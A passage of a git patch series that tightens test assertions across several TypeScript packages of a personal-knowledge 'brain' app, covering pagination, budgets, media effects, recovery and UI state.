expect(pages.at(-1)!.next_cursor).toBeNull(); } @@ -147,7 +147,7 @@ describe("path prefix", () => { test("matches whole segments: neighbouring folders and files do not leak in", () => { const raft = paths({ pathPrefix: "projects/active/raft" }); expect(raft.length).toBeGreaterThan(0); - expect(raft.every((p) => p.startsWith("projects/active/raft/"))).toBe(true); + expect(raft.filter((p) => !p.startsWith("projects/active/raft/"))).toEqual([]); expect(raft).not.toContain("projects/active/raft.md"); expect(raft).not.toContain("projects/active/raft-old/notes.md"); expect(paths({ pathPrefix: "projects/active/raft/" })).toEqual(raft); @@ -215,8 +215,8 @@ describe("output bound", () => { const [row] = p.documents; expect(row!.path).toBe("notes/loom/penelope.md"); expect(row!.clipped).toEqual(["summary"]); - expect(row!.summary!.endsWith("…")).toBe(true); - expect(row!.summary!.startsWith("Woven by day, unwoven by night.")).toBe(true); + expect(row!.summary!).toEndWith("…"); + expect(row!.summary!).toStartWith("Woven by day, unwoven by night."); expect(JSON.parse(JSON.stringify(p))).toEqual(p); // Among other rows, the oversized one leads its own page and the rest follow whole. const { rows, pages } = enumerate({ pathPrefix: "notes", overview: true, limit: 100 }); @@ -294,8 +294,8 @@ describe("truthful warnings", () => { rmSync(join(root, removed)); try { const p = page({ pathPrefix: "notes/fleet", overview: true, limit: 100 }); - expect(p.warnings.some((w) => w.startsWith("source changed after indexing for 1 listed document(s) (notes/fleet/ship-004.md)"))).toBe(true); - expect(p.warnings.some((w) => w.startsWith("source missing or unreadable for 1 listed document(s) (notes/fleet/ship-009.md)"))).toBe(true); + expect(p.warnings).toContainEqual(expect.stringMatching(/^source changed after indexing for 1 listed document\(s\) \(notes\/fleet\/ship-004\.md\)/)); + expect(p.warnings).toContainEqual(expect.stringMatching(/^source missing or unreadable for 1 listed document\(s\) \(notes\/fleet\/ship-009\.md\)/)); // Only rows on the page are checked, and only for the overview. const other = page({ pathPrefix: "projects/active", overview: true, limit: 100 }); expect(other.warnings).toEqual([]); diff --git a/packages/core/tests/document-writes.test.ts b/packages/core/tests/document-writes.test.ts index d27f0eb27e..c5b50d9179 100644 --- a/packages/core/tests/document-writes.test.ts +++ b/packages/core/tests/document-writes.test.ts @@ -67,6 +67,8 @@ describe("brain_update", () => { }); test("a write that fails part-way leaves the document as it was", async () => { + // Its own starting bytes: the successful update below may have run first. + writeFileSync(join(root, "notes/ledger.md"), SOURCE); // The appended section alone is several times the limit: a write of it fails. expect(OVERSIZED_APPEND.length).toBeGreaterThan(SIZE_LIMIT_BLOCKS * 1024 * 2); const res = await limited.callTool({ diff --git a/packages/core/tests/graph-profiles.test.ts b/packages/core/tests/graph-profiles.test.ts index 2dea5c9861..158a71a7e6 100644 --- a/packages/core/tests/graph-profiles.test.ts +++ b/packages/core/tests/graph-profiles.test.ts @@ -484,7 +484,7 @@ describe("absent, uncomputed and older graph data", () => { }); const clusters = cli(dir, (db) => getClusterGraph(db)); expect(ids(clusters.nodes)).toEqual([1, 2, 3, 4, 5, 6]); - expect(clusters.nodes.every((n) => n.pagerank === undefined && n.x === undefined)).toBe(true); + expect(clusters.nodes.filter((n) => n.pagerank !== undefined || n.x !== undefined)).toEqual([]); expect(cli(dir, (db) => getDiscoveryGraph(db))).toEqual({ nodes: [], edges: [], truncated: false }); expect(ids(cli(dir, (db) => getDiscoveryGraph(db, { root: "crew/odysseus.md", maxDepth: 1 })).nodes)).toEqual([1, 2, 3]); const findings = cli(dir, (db) => getMaintenanceFindings(db)); From 2e911a36ba39502d14f91099552364ceb06bc97e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:26:30 +0100 Subject: [PATCH 068/252] test(ui-backend-pi): list error frames instead of a boolean in the grant-surface posture tests Test-Health: th-20261110184656-6654f8#12 --- packages/ui-backend-pi/tests/grant-surface-posture.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-pi/tests/grant-surface-posture.test.ts b/packages/ui-backend-pi/tests/grant-surface-posture.test.ts index 253c2086ec..eded1db63a 100644 --- a/packages/ui-backend-pi/tests/grant-surface-posture.test.ts +++ b/packages/ui-backend-pi/tests/grant-surface-posture.test.ts @@ -65,7 +65,7 @@ async function runTurn( /** The turn ran and succeeded: not merely resolved (a failed turn resolves too). */ function expectSucceeded(frames: ServerMessage[]): void { - expect(frames.some((f) => f.type === "error")).toBe(false); + expect(frames.filter((f) => f.type === "error")).toEqual([]); expect(frames.find((f) => f.type === "result")).toMatchObject({ outcome: "success", isError: false, From a3ef53008b990fbc742ebd8534e20124e7170b70 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:29:30 +0100 Subject: [PATCH 069/252] test(ui-server): print the URL when an Apify request leaves the fixed origin Test-Health: th-20261110163814-571eb3#36 --- packages/ui-server/tests/apify-authority.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/apify-authority.test.ts b/packages/ui-server/tests/apify-authority.test.ts index 986b654459..73e3b936a9 100644 --- a/packages/ui-server/tests/apify-authority.test.ts +++ b/packages/ui-server/tests/apify-authority.test.ts @@ -155,7 +155,7 @@ describe("host-owned authentication", () => { expect(fake.seen.length).toBeGreaterThan(0); for (const seen of fake.seen) { expect(seen.authorization, "APIFY_BEARER_ONLY").toBe(`Bearer ${SENTINEL}`); - expect(seen.url.startsWith(`${fake.origin}/v2/`)).toBe(true); + expect(seen.url).toStartWith(`${fake.origin}/v2/`); } expect(disclosed(status, response), "APIFY_SENTINEL_UNDISCLOSED").not.toContain(SENTINEL); }); From 4cfc320288b70b4eb14bd109413e668a333cd821 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:29:34 +0100 Subject: [PATCH 070/252] test(ui-server): assert a fully resolvable backend roster reports no boot failures Test-Health: th-20261110163814-571eb3#38 --- packages/ui-server/tests/backend-boot.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/backend-boot.test.ts b/packages/ui-server/tests/backend-boot.test.ts index e21d72b49e..337016c6bb 100644 --- a/packages/ui-server/tests/backend-boot.test.ts +++ b/packages/ui-server/tests/backend-boot.test.ts @@ -66,8 +66,8 @@ describe("assertBackendResolvable", () => { backendId: "pi", phase: "resolution", errorClass: "Error", message: expect.stringContaining('BRAIN_UI_PI_PROFILES is set but "@schlessera/brain-backend-pi" is not installed'), })]); - // With everything resolvable, the opt-in passes. - expect(() => assertBackendResolvable(withPiProfiles)).not.toThrow(); + // With everything resolvable, the opt-in passes and marks nothing unavailable. + expect(assertBackendResolvable(withPiProfiles)).toEqual([]); }); test("a malformed BRAIN_UI_PI_PROFILES refuses at boot, not on first request", () => { From 83ad707d11d3f86a608ef63cf4a4df6c0bb348c5 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:29:38 +0100 Subject: [PATCH 071/252] test(ui-server): list the budget scopes that wrongly carry Apify spend Test-Health: th-20261110163814-571eb3#39 --- packages/ui-server/tests/apify-turn-budgets.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/apify-turn-budgets.test.ts b/packages/ui-server/tests/apify-turn-budgets.test.ts index 177943c806..fd38ed6f91 100644 --- a/packages/ui-server/tests/apify-turn-budgets.test.ts +++ b/packages/ui-server/tests/apify-turn-budgets.test.ts @@ -148,7 +148,7 @@ test("without a wired ledger the receipt and limits text stay unchanged", async try { const receipt = await f.budgets.begin("penelope", "loom", policy()); expect(receipt.coverage, "COVERAGE_UNCHANGED_WITHOUT_LEDGER").toBe(TURN_BUDGET_COVERAGE); - expect(receipt.scopes.every(scope => !("apifyUsd" in scope))).toBe(true); + expect(receipt.scopes.filter(scope => "apifyUsd" in scope)).toEqual([]); expect(inferenceBudgetLimits(receipt)).toContain("; Built-in inference and relayed brain CLI providers; other provider and tool spend is not metered)"); } finally { f.close(); } }); @@ -159,7 +159,7 @@ test("an unreadable ledger keeps inference's behaviour and reports Apify as unav try { const receipt = await f.budgets.begin("eurylochus", "thrinacia", policy()); expect(receipt.coverage, "COVERAGE_SAYS_APIFY_UNAVAILABLE").toBe(TURN_BUDGET_APIFY_UNAVAILABLE_COVERAGE); - expect(receipt.scopes.every(scope => !("apifyUsd" in scope)), "UNAVAILABLE_IS_NOT_ZERO").toBe(true); + expect(receipt.scopes.filter(scope => "apifyUsd" in scope), "UNAVAILABLE_IS_NOT_ZERO").toEqual([]); expect(turnBudgetReceiptSchema.safeParse(receipt).success).toBe(true); // Inference alone still blocks where it always did, and only there. expect((await f.budgets.observe("eurylochus", usage(1)))!.blocked).toBeUndefined(); From 338875aa5cac7d20e5d3423859a5ed6879737c3c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:29:42 +0100 Subject: [PATCH 072/252] test(ui-server): print the memory notes and paths the journal checks compare Test-Health: th-20261110163814-571eb3#41 --- packages/ui-server/tests/claude-memory-journal.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/claude-memory-journal.test.ts b/packages/ui-server/tests/claude-memory-journal.test.ts index cc5655b8ef..b9561a0938 100644 --- a/packages/ui-server/tests/claude-memory-journal.test.ts +++ b/packages/ui-server/tests/claude-memory-journal.test.ts @@ -49,7 +49,7 @@ test("real populate/persist retains created and replaced external notes with tai const notes = details.changes.filter(c => c.scope === "claude_memory"); expect(notes.length, "MEMORY_REAL_PERSIST_REACHES_RETAINED_JOURNAL").toBe(2); expect(details.summary).toMatchObject({ state: "complete", changedFiles: 3, steeringFiles: 2, model: "odysseus-model", profile: "governed" }); - expect(notes.every(c => c.class === "steering" && c.tainted && c.taintSourceEventId)).toBe(true); + expect(notes.filter(c => !(c.class === "steering" && c.tainted && c.taintSourceEventId))).toEqual([]); expect(notes.find(c => c.path.endsWith("athena.md"))?.before).toBeNull(); const replaced = notes.find(c => c.path.endsWith("voyage.md"))!; expect(f.journal.version("ithaca", "return", replaced.sequence, "before")!.bytes(32)).toEqual(Buffer.from([65, 13, 10, 255])); @@ -88,7 +88,7 @@ test("peer persistence refuses only the stale note, retains successful notes and expect(readFileSync(join(f.memory, "voyage.md"), "utf8"), "MEMORY_PEER_PERSIST_IS_NEVER_OVERWRITTEN").toBe("Peer counsel\n"); expect(readFileSync(join(f.memory, "telemachus.md"), "utf8")).toBe("Independent\n"); expect(f.journal.details("ithaca", "return")?.summary.state).toBe("partial"); - expect(f.journal.details("ithaca", "return")?.changes.some(c => c.path === "claude-memory://voyage.md")).toBe(false); + expect(f.journal.details("ithaca", "return")?.changes.map(c => c.path)).not.toContain("claude-memory://voyage.md"); const partialReverts = f.reverts(); expect(partialReverts.plan("ithaca", "return").paths.find(item => item.path === "claude-memory://telemachus.md")?.state, "MEMORY_PARTIAL_SAVE_RETAINS_KNOWN_SUCCESSFUL_RECOVERY").toBe("eligible"); await partialReverts.close(); From c7f5fb1be1b710ba3aef859bda2e01380f025a12 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:36:34 +0100 Subject: [PATCH 073/252] test(ui-server): assert the media identity-reuse guard and the snapshot image, split the mixed-versions case Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#0 --- .../tests/hygiene-media-effects.test.ts | 20 +++++++++++++------ .../ui-server/tests/inbox-snapshot.test.ts | 6 +++++- 2 files changed, 19 insertions(+), 7 deletions(-) diff --git a/packages/ui-server/tests/hygiene-media-effects.test.ts b/packages/ui-server/tests/hygiene-media-effects.test.ts index bf034b58ac..2bf398fd7a 100644 --- a/packages/ui-server/tests/hygiene-media-effects.test.ts +++ b/packages/ui-server/tests/hygiene-media-effects.test.ts @@ -190,7 +190,7 @@ test("capture that cannot fit the journal refuses before any write", async () => put(f.root, LOOM, loom); const receipt = await f.apply(LOOM, "delete"); expect(receipt, "MEDIA_CAPTURE_CAPACITY").toMatchObject({ outcome: "refused", reason: "capture-capacity" }); - expect(read(f.root, LOOM) === loom, "MEDIA_CAPTURE_BEFORE_WRITE").toBe(true); + expect(sha(read(f.root, LOOM)), "MEDIA_CAPTURE_BEFORE_WRITE").toBe(sha(loom)); }); test("an interrupted apply is compensated per file, and a concurrent edit is left as a conflict (partial)", async () => { @@ -249,6 +249,11 @@ test("a restart compensates an interrupted Move from its durable intent and neve test("a revoked reviewer cannot apply, and an operation identity cannot be reused for another plan", async () => { const f = await setup(); const { finding, plan } = await f.plan(LOOM, "delete"); + const persist = await f.plan(LOOM, "persist"); + const reused = { id: "odysseus-media-reused", principalId: "odysseus", findingId: finding.id, fingerprint: finding.fingerprint }; + expect((await f.effects.apply({ ...reused, plan: persist.plan })).outcome).toBe("applied"); + await expect(f.effects.apply({ ...reused, plan }), "MEDIA_IDENTITY_REUSE_REFUSED").rejects.toThrow("Operation identity belongs to another request"); + expect(read(f.root, LOOM), "MEDIA_IDENTITY_REUSE_WRITES_NOTHING").toBe("loom bytes"); f.revoke(); await expect(f.effects.apply({ id: "odysseus-media-revoked", principalId: "odysseus", findingId: finding.id, fingerprint: finding.fingerprint, plan })).rejects.toThrow("authority"); expect(read(f.root, LOOM)).toBe("loom bytes"); @@ -713,7 +718,6 @@ test("recover() confirms a kept copy when its entry, fingerprint and copy SHA-25 const tampers: Array<[string, Tamper]> = [ // Only the recorded SHA-256 differs: the entry stays kept, as the copy's own bytes are never compared. ["copy-sha256", f => put(f.root, "context/hygiene/kept.md", read(f.root, "context/hygiene/kept.md").replace(/(- copy-sha256: )[0-9a-f]{64}/, `$1${"0".repeat(64)}`))], - // Only the fingerprint the review admitted differs from the entry's. // Only the entry's fingerprint differs from the one the review admitted. ["fingerprint", f => put(f.root, "context/hygiene/kept.md", read(f.root, "context/hygiene/kept.md").replace(/(\*\*Fingerprint\*\*: )[0-9a-f]{12}/, `$1${"0".repeat(12)}`))], // Only the state differs: the CLI lists the entry as no longer kept, with the same fingerprint and SHA-256. @@ -732,8 +736,10 @@ for (const [what, tamper] of tampers) { }); } -test("mixed versions: a keep-copy answer this server does not know as kept is never resolved, and the copy is compensated", async () => { - for (const answer of [{ status: "kept-v2" }, { outcome: "kept" }]) { +// One fixture per case: four real repositories in one case outran its deadline on a loaded host. +const unknownKeptAnswers = [{ status: "kept-v2" }, { outcome: "kept" }]; +for (const answer of unknownKeptAnswers) { + test(`mixed versions: a keep-copy answer ${JSON.stringify(answer)} this server does not know as kept compensates the copy`, async () => { // The effect itself: only an exact `kept` answer keeps the copy. const e = await setup({ wrap: (args, real) => args[0] === "keep-copy" ? answer : real(args) }); put(e.root, SCRATCH, "dawn bytes"); @@ -741,6 +747,8 @@ test("mixed versions: a keep-copy answer this server does not know as kept is ne const receipt = await e.apply(SCRATCH, "keep-copy", "places/ithaca/harbour-dawn.jpg"); expect(receipt.outcome, `MEDIA_MIXED_COMPENSATED ${JSON.stringify(answer)}`).toBe("compensated"); expect(existsSync(join(e.root, "places/ithaca/harbour-dawn.jpg"))).toBe(false); + }); + test(`mixed versions: a keep-copy answer ${JSON.stringify(answer)} this server does not know as kept is never resolved, and the copy is compensated`, async () => { // And through review, which never resolves the card on it. const f = await setup({ wrap: (args, real) => args[0] === "keep-copy" ? answer : real(args) }); rmSync(join(f.root, NOTE)); rmSync(join(f.root, "places/ithaca.md")); rmSync(join(f.root, LOOM)); @@ -756,5 +764,5 @@ test("mixed versions: a keep-copy answer this server does not know as kept is ne expect(existsSync(join(f.root, "places/ithaca/harbour-dawn.jpg")), "MEDIA_MIXED_COPY_COMPENSATED").toBe(false); expect(read(f.root, "brain.config.json")).toBe("{}\n"); expect(read(f.root, SCRATCH)).toBe("dawn bytes"); - } -}); + }); +} diff --git a/packages/ui-server/tests/inbox-snapshot.test.ts b/packages/ui-server/tests/inbox-snapshot.test.ts index 03705e3a0c..cc33b75c4b 100644 --- a/packages/ui-server/tests/inbox-snapshot.test.ts +++ b/packages/ui-server/tests/inbox-snapshot.test.ts @@ -196,7 +196,11 @@ test("operational backup includes a versioned database image instead of audit-on store.commit([{ kind: "heartbeat", name: "inbox-drain", tickAt: 1000, changeCursor: 0 }]); expect(store.exportState().inbox_scheduler_heartbeats).toHaveLength(1); const snapshot = await exportInboxSnapshot(db, root, 1000); - expect(snapshot.format).toBe("brain-ui-operational-backup"); + expect(snapshot).toMatchObject({ format: "brain-ui-operational-backup", version: 1 }); + const bytes = Buffer.from(snapshot.database.data, "base64"); + expect(hash(bytes), "BACKUP_IMAGE_DIGEST").toBe(snapshot.database.sha256); + const archived = Database.deserialize(bytes); cleanup.push(() => archived.close()); + expect(archived.query("SELECT * FROM inbox_scheduler_heartbeats").all(), "BACKUP_IMAGE_ROWS").toEqual([{ name: "inbox-drain", tick_at: 1000, change_cursor: 0 }]); }); test("populated image restores all logical tables, staging, principals and settled counters", async () => { From d030aa7d62c52d4ee6df289d652664e5a3f69069 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:36:36 +0100 Subject: [PATCH 074/252] test(ui-server): clean up the SPA-fallback temp dir on failure and make real-socket frame checks print what they saw Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#5 --- .../ui-server/tests/integration/real-socket-answers.test.ts | 2 +- packages/ui-server/tests/integration/real-socket.test.ts | 5 ++--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/packages/ui-server/tests/integration/real-socket-answers.test.ts b/packages/ui-server/tests/integration/real-socket-answers.test.ts index 99f7a70781..dc7fecef14 100644 --- a/packages/ui-server/tests/integration/real-socket-answers.test.ts +++ b/packages/ui-server/tests/integration/real-socket-answers.test.ts @@ -212,7 +212,7 @@ describe("liveness over a real socket", () => { expect(await a.waitFor(() => a.c.supportsAskReceipts)).toBe(true); expect(await a.waitFor(() => a.events.some((e) => e.type === "pong"), 2000)).toBe(true); await Bun.sleep(400); - expect(a.events.some((e) => e.type === "stale")).toBe(false); + expect(a.events.filter((e) => e.type === "stale")).toEqual([]); expect(r.state.accepted).toBe(1); }); diff --git a/packages/ui-server/tests/integration/real-socket.test.ts b/packages/ui-server/tests/integration/real-socket.test.ts index 675539aa68..a567ebd886 100644 --- a/packages/ui-server/tests/integration/real-socket.test.ts +++ b/packages/ui-server/tests/integration/real-socket.test.ts @@ -160,7 +160,7 @@ describe("a real client on a real socket", () => { await Bun.sleep(20); } - expect(frames.some((f) => f.type === "error" && f.code === "PARSE_ERROR")).toBe(true); + expect(frames).toContainEqual(expect.objectContaining({ type: "error", code: "PARSE_ERROR" })); expect( observability.metrics.value("ws.frames.dropped", { reason: "parse_error", @@ -198,6 +198,7 @@ describe("the SPA fallback", () => { // The rough edge: `serveStatic({ path })` resolves against the process cwd, // so an absolute staticRoot produced a fallback that 404ed every deep link. const dir = mkdtempSync(join(tmpdir(), "brain-spa-")); + brainRoots.push(dir); writeFileSync(join(dir, "index.html"), "shell"); const config = resolveServerConfig({ @@ -221,8 +222,6 @@ describe("the SPA fallback", () => { const res = await fetch(`http://127.0.0.1:${server.port}/some/deep/link`); expect(res.status).toBe(200); expect(await res.text()).toContain("shell"); - - rmSync(dir, { recursive: true, force: true }); }); }); From 1923e3aafbb363c5f4034d0c8d697a3567a78e18 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:36:40 +0100 Subject: [PATCH 075/252] test(ui-server): recovery tests wait for the resolved decision and compare charged turns per reservation Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#6 --- .../inbox-dispatch-recovery.test.ts | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts b/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts index f81b285908..74cd1a0cfd 100644 --- a/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts +++ b/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts @@ -78,8 +78,8 @@ async function arrive(host: Host): Promise { expect(response.status).toBe(201); return (await response.json() as { itemId: string }).itemId; } -/** Two devices tap the same decision. */ -async function resolve(host: Host, itemId: string, optionId = "apply") { +/** Two devices tap the same decision; it returns once the decision is resolved in the database. */ +async function resolve(at: Install, host: Host, itemId: string, optionId = "apply") { const devices = await Promise.all([0, 1].map(async () => { const frames: ServerMessage[] = []; const client = new BrainUiClient({ url: `${host.origin.replace("http", "ws")}/ws`, @@ -90,6 +90,8 @@ async function resolve(host: Host, itemId: string, optionId = "apply") { return { client, frames }; })); for (const { client } of devices) client.send({ type: "inbox_resolve", itemId, optionId }); + expect(await waitFor(() => item(at, itemId).status === "resolved"), "the decision is resolved").toBe(true); + // A refused duplicate tap answers with an error frame: give the second device a window to send one. await Bun.sleep(300); for (const { frames, client } of devices) { expect(frames.filter(f => f.type === "error")).toEqual([]); client.close(); } } @@ -145,9 +147,9 @@ test("killed after its escalation checkpoint: the decision survives once and res clock(at, 11 * MINUTE); await poke(at, host); expect(reservations(at).filter(r => r.status === "active"), "the lost attempt is reconciled").toEqual([]); - expect(reservations(at).every(r => r.charged_turns === 1), "and stays charged").toBe(true); + expect(reservations(at).map(r => [r.purpose, r.charged_turns]), "and stays charged").toEqual([["triage", 1], ["execute", 1]]); expect(pending(at), "CHECKPOINT_DURABLE").toEqual([action!]); - await resolve(host, action!.id); + await resolve(at, host, action!.id); expect(executes(at), "ONE_FOLLOW_UP").toHaveLength(1); expect(await poke(at, host)).toMatchObject({ claimed: 1 }); expect(note(at)).toBe(WRITE.content as string); @@ -161,7 +163,7 @@ test("killed after the approved side effect: the retried follow-up cannot apply await arrive(host); expect(await poke(at, host)).toMatchObject({ claimed: 1 }); const [action] = pending(at); - await resolve(host, action!.id); + await resolve(at, host, action!.id); void poke(at, host).catch(() => {}); expect(await waitFor(() => existsSync(join(at.dir, "reached-effect")))).toBe(true); await host.kill(); @@ -200,7 +202,7 @@ test("the daily snapshot restores into an empty installation with its decision, cpSync(join(at.brain, "notes"), join(content.brain, "notes"), { recursive: true }); // Work after the capture point is lost with the installation. - await resolve(host, action!.id); + await resolve(at, host, action!.id); await host.kill(); rmSync(content.db, { force: true }); @@ -212,7 +214,7 @@ test("the daily snapshot restores into an empty installation with its decision, expect(read(content, "SELECT id, trust_class, source FROM inbox_threads WHERE id = ?", thread.id)).toEqual([thread]); expect(reservations(content).slice(0, spent.length), "SPEND_RETAINED").toEqual(spent); expect(await poke(content, host)).toMatchObject({ claimed: 0 }); - await resolve(host, action!.id); + await resolve(content, host, action!.id); expect(executes(content), "ONE_FOLLOW_UP").toHaveLength(1); expect(await poke(content, host)).toMatchObject({ claimed: 1 }); expect(note(content)).toBe(WRITE.content as string); @@ -230,7 +232,7 @@ test("killed inside staging compensation: the restart repeats removal and acknow let host = await start(at, "cleanup"); await arrive(host); expect(await poke(at, host)).toMatchObject({ claimed: 1 }); - await resolve(host, pending(at)[0]!.id); + await resolve(at, host, pending(at)[0]!.id); expect(await poke(at, host)).toMatchObject({ claimed: 1 }); expect(note(at)).toBe(WRITE.content as string); expect(staging(at), "staging is retained until the thread's work is terminal").toHaveLength(1); From 99ac389c2723f3d27333625954f9b82a65fb929e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:36:57 +0100 Subject: [PATCH 076/252] test(ui-kit): status indicator measures its hover delay from the pointer's arrival Refs #3829 Test-Health: th-20261110180640-b26dac#10 --- .../tests/visual/status-indicator.visual.tsx | 21 ++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/packages/ui-kit/tests/visual/status-indicator.visual.tsx b/packages/ui-kit/tests/visual/status-indicator.visual.tsx index 220ce45dcd..349aceb730 100644 --- a/packages/ui-kit/tests/visual/status-indicator.visual.tsx +++ b/packages/ui-kit/tests/visual/status-indicator.visual.tsx @@ -59,11 +59,22 @@ test("hover, focus, click, Enter, Space and tap expose the same summary; activat expect(control.getAttribute("aria-label")).toBe("Raft list: Raft list active. Details."); expect(control.hasAttribute("title"), "no native title tooltip").toBe(false); - // Hover: nothing before 300ms, the summary after. - await userEvent.hover(control); - await pause(150); - expect(tooltip(), "hover waits for the 300ms delay").toBeNull(); - await expect.poll(() => tooltip()?.textContent).toBe("Saving Odysseus's raft list to the brain."); + // Hover: nothing before 300ms, the summary after. The delay is measured from + // the pointer's arrival, seen in the capture phase before React's handler + // starts the timer, to the tooltip's insertion, so a slow runner only + // lengthens it; a fixed sleep inside the window raced the timer under load (#3829). + let enteredAt: number | undefined; + let shownAt: number | undefined; + const arrive = (event: PointerEvent) => { if (enteredAt === undefined && control.contains(event.target as Node)) enteredAt = performance.now(); }; + document.addEventListener("pointerover", arrive, { capture: true }); + const shown = new MutationObserver(() => { if (shownAt === undefined && tooltip()) shownAt = performance.now(); }); + shown.observe(document.body, { subtree: true, childList: true, attributes: true }); + try { + await userEvent.hover(control); + await expect.poll(() => tooltip()?.textContent).toBe("Saving Odysseus's raft list to the brain."); + } finally { shown.disconnect(); document.removeEventListener("pointerover", arrive, { capture: true }); } + expect(enteredAt, "the pointer's arrival was observed").toBeTypeOf("number"); + expect(shownAt! - enteredAt!, "hover waits for the 300ms delay").toBeGreaterThanOrEqual(300); expect(control.getAttribute("aria-describedby")).toBe(tooltip()!.id); await userEvent.unhover(control); await userEvent.hover(host!.querySelector("[data-outside]")!); From 973cb21466d10ac19b7c3b6c1989023ddb172970 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:41:28 +0100 Subject: [PATCH 077/252] test(ui-react): chat slices pin the stored selection's buffer before its unconfirmed state Test-Health: th-20261110182050-6072af#3 --- packages/ui-react/tests/chat-slices.test.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/packages/ui-react/tests/chat-slices.test.ts b/packages/ui-react/tests/chat-slices.test.ts index 5d2015855f..d42bdb372b 100644 --- a/packages/ui-react/tests/chat-slices.test.ts +++ b/packages/ui-react/tests/chat-slices.test.ts @@ -280,7 +280,7 @@ describe("approvals slice", () => { expect(tools()[1]!.readOnly).toBeUndefined(); s.revokeRestoredApprovals(); expect(tools().map((t) => t.readOnly)).toEqual(["revoked", "revoked"]); - expect(tools()[1]!.id.startsWith("revoked-")).toBe(true); + expect(tools()[1]!.id).toMatch(/^revoked-/); }); }); @@ -368,7 +368,9 @@ describe("session slice", () => { storage.setItem("odysseus:brain-history-selection", JSON.stringify({ key: "troy", ownerId: "penelope" })); const { store } = sessionStore(storage); expect(store.getState()).toMatchObject({ activeSessionId: "troy", historyOwners: { troy: "penelope" } }); - expect(store.getState().buffers.troy?.historyConfirmed).toBeUndefined(); + // The buffer exists and is empty; only then does its unconfirmed state mean anything. + expect(store.getState().buffers.troy).toMatchObject({ messages: [], isStreaming: false }); + expect(store.getState().buffers.troy!.historyConfirmed).toBeUndefined(); }); test("selecting a session persists it and gives it a buffer", () => { From 4c40ad681d9f2a675ddc63724c5213c5e2da6e0f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:41:33 +0100 Subject: [PATCH 078/252] test(ui-react): chat store history restores the localStorage it stubs Test-Health: th-20261110182050-6072af#5 --- .../ui-react/tests/chat-store-history.test.ts | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/packages/ui-react/tests/chat-store-history.test.ts b/packages/ui-react/tests/chat-store-history.test.ts index 311cbf7386..1458276fee 100644 --- a/packages/ui-react/tests/chat-store-history.test.ts +++ b/packages/ui-react/tests/chat-store-history.test.ts @@ -1,9 +1,12 @@ -import { describe, test, expect, beforeEach } from "bun:test"; +import { afterAll, beforeAll, describe, test, expect, beforeEach } from "bun:test"; +import { useChatStore, type ChatMessage } from "../src/stores/chat-store"; // Bun's test env has no DOM localStorage; the store guards against that, but -// these tests assert the persistence path, so install an in-memory stub. +// these tests assert the persistence path, so install an in-memory stub for +// this file only and put back whatever was there before, so no later file in +// the same process inherits the stub or its keys. const backing = new Map(); -(globalThis as unknown as { localStorage: Storage }).localStorage = { +const stub = { getItem: (k: string) => backing.get(k) ?? null, setItem: (k: string, v: string) => void backing.set(k, v), removeItem: (k: string) => void backing.delete(k), @@ -11,8 +14,14 @@ const backing = new Map(); key: () => null, length: 0, } as Storage; - -import { useChatStore, type ChatMessage } from "../src/stores/chat-store"; +const original = Object.getOwnPropertyDescriptor(globalThis, "localStorage"); +beforeAll(() => { + Object.defineProperty(globalThis, "localStorage", { configurable: true, writable: true, value: stub }); +}); +afterAll(() => { + if (original) Object.defineProperty(globalThis, "localStorage", original); + else Reflect.deleteProperty(globalThis, "localStorage"); +}); function msg(id: string, content: string): ChatMessage { return { From 82dc6e4dc62597625d2628b35795d929ca4bbb02 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:41:37 +0100 Subject: [PATCH 079/252] test(ui-react): connection store resets socketOpens between cases Test-Health: th-20261110182050-6072af#8 --- packages/ui-react/tests/connection-store.test.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/connection-store.test.ts b/packages/ui-react/tests/connection-store.test.ts index 27ea1466a9..3a4c3bc97c 100644 --- a/packages/ui-react/tests/connection-store.test.ts +++ b/packages/ui-react/tests/connection-store.test.ts @@ -8,6 +8,7 @@ beforeEach(() => { vpnStatus: "checking", handshakeFailures: 0, lastCloseCode: null, + socketOpens: 0, lastError: null, }); }); @@ -40,7 +41,7 @@ describe("connection store", () => { expect(useConnectionStore.getState().vpnStatus).toBe("connected"); }); - test("setVpnStatus to disconnected", () => { + test("setVpnStatus to unreachable", () => { useConnectionStore.getState().setVpnStatus("unreachable"); 